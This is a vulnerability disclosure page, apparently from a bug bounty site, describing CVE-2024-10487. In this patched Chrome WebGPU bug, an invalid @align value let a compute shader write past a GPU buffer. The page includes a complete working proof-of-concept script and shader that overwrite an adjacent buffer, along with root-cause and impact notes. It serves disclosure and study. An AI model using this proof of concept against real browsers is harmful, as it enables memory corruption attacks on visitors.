Out of bounds write in Dawn (CVE-2024-10487)
Chrome's WebGPU implementation accepted an invalid @align value on a struct member, causing the compiler to miscalculate the struct's size and array stride. This allowed a compute shader to write outside the bounds of a GPU buffer, corrupting adjacent memory.
Originally disclosed on Chrome VRP
- Fix shipped in 7 days
Steps to reproduce the problem
<script>
globalThis.testRunner?.waitUntilDone();
const log = globalThis.$vm?.print ?? console.log;
onload = async () => {
let adapter = await navigator.gpu.requestAdapter({});
let device = await adapter.requestDevice({});
device.pushErrorScope('validation');
let storageBuffer = device.createBuffer({usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_DST | GPUBufferUsage.COPY_SRC, size: 256});
let laterBuffer = device.createBuffer({usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.COPY_SRC, size: 256});
device.queue.writeBuffer(laterBuffer, 0, new Uint32Array([0x11223344]), 0, 1);
await device.queue.onSubmittedWorkDone();
let code = `
@group(0) @binding(0) var<storage, read_write> buf: array<S>;
struct S {
@align(4)
f0: vec4u,
f1: u32,
}
@compute @workgroup_size(1)
fn c() {
buf[8].f0 = vec4(0x12345678);
}
`;
let module = device.createShaderModule({code});
let bindGroupLayout = device.createBindGroupLayout({
entries: [
{binding: 0, buffer: {type: 'storage'}, visibility: GPUShaderStage.COMPUTE},
],
});
let computePipeline = device.createComputePipeline({layout: device.createPipelineLayout({bindGroupLayouts: [bindGroupLayout]}), compute: {module}});
let commandEncoder = device.createCommandEncoder();
let bindGroup0 = device.createBindGroup({
layout: bindGroupLayout,
entries: [
{binding: 0, resource: {buffer: storageBuffer}},
],
});
let computePassEncoder = commandEncoder.beginComputePass({});
computePassEncoder.setPipeline(computePipeline);
computePassEncoder.setBindGroup(0, bindGroup0);
computePassEncoder.dispatchWorkgroups(1);
computePassEncoder.end();
commandEncoder.clearBuffer(storageBuffer, 0);
let outputBuffer = device.createBuffer({size: 16, usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_READ});
commandEncoder.copyBufferToBuffer(laterBuffer, 0, outputBuffer, 0, outputBuffer.size);
let commandBuffer = commandEncoder.finish();
device.queue.submit([commandBuffer]);
await device.queue.onSubmittedWorkDone();
await outputBuffer.mapAsync(GPUMapMode.READ);
log([...new Uint32Array(outputBuffer.getMappedRange())].map(x => x.toString(0x10)));
outputBuffer.unmap();
let error = await device.popErrorScope();
if (error) {
log(error.message);
} else {
log('no validation error');
}
globalThis.testRunner?.notifyDone();
};
</script>
Problem Description
NOT A CONTRIBUTION: This report is provided for informational purposes and is not intended as a contribution. Any attached proof of concept code is provided under the MIT license. Where relevant, you may attribute this report to Apple Security Engineering and Architecture (SEAR).
Problem description
The Chrome implementation of WebGPU allows an invalid value for the @align attribute.
Allowing @align(n), where n is less than RequiredAlignOf(T,C) for the struct member this attribute is applied to, causes out-of-bounds read and write access on the GPU.
https://gpuweb.github.io/gpuweb/wgsl/#align-attr
According to the NOTE: regarding @align, the WebGPU specification says:
If align(n) is applied to a member of S with type T, and S is the store type or contained in the store type for a variable in address space C, then n must satisfy: n = k × RequiredAlignOf(T,C) for some positive integer k.
specifically "n must satisfy: n = k × RequiredAlignOf(T,C) for some positive integer k."
The following is presently allowed by Chrome on macOS, Version 130.0.6723.59 (Official Build) (arm64):
struct S { @align(4) f0: vec4u, f1: u32, }
RequiredAlignOf(vec4u, storage) is 16. Therefore @align(4) should be rejected on a struct member of type vec4u when that struct is used in address space storage.
Consequently, Chrome believes that one instance of S takes 20 bytes, whereas in reality it takes 32 bytes.
Further, the stride of the following array is 32 bytes, but Chrome believes it to be 20:
@group(0) @binding(0) var<storage, read_write> buf: array<S>;
With a 256 byte buffer bound to buf, Chrome believes the runtime sized array above has length 12, and the following compute function will write outside the buffer:
@compute @workgroup_size(1) fn c() { buf[8].f0 = vec4(0x12345678); }
Index 8 is at offset 256 of the 256 byte buffer. The contents of laterBuffer immediately follow the contents of storageBuffer, causing the value 0x12345678 to be written into laterBuffer .
The test case prints the contents of laterBuffer, which should be 0x11223344 followed by zeroes, had they not been overwritten.
Additional Comments
A test case was accidentally released to webkit https://github.com/WebKit/WebKit/pull/35597. We have updated it, but wanted to let you know it was accidentally leaked. Included is a md of the report too.
Summary
WebGPU: Out-of-bounds GPU buffer access caused by @align
Custom Questions
Reporter credit:
Apple Security Engineering and Architecture (SEAR).
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Chrome did not enforce the WebGPU specification rule that an @align value must be a multiple of the type's required alignment, so it computed a smaller struct size and array stride than the real memory layout.
Impact
A malicious web page could write outside a GPU buffer, potentially corrupting other GPU memory and leading to further compromise; the report demonstrates this on Chrome for macOS.
What the attacker needed
Victim visits a malicious web page; browser supports WebGPU; Chrome on macOS (as tested)
How it was found
- Request a GPU adapter and device, then create a storage buffer and a second buffer placed after it.
- Write a known value into the second buffer and wait for the GPU queue to finish.
- Create a shader module with a struct whose vec4u member is given an invalid small alignment, and an array of that struct.
- Build a compute pipeline and bind group, then dispatch one workgroup that writes to an index beyond the buffer.
- Copy the second buffer to a mappable output buffer and read it back.
- Observe that the known value was overwritten, showing the out-of-bounds write.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WebGPU lets web pages run programs on the graphics card. A shader program describes how data is laid out in memory, and the browser is supposed to check that layout is valid. Here the browser missed a check, so a shader could write past the end of its buffer and change data it should not touch.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.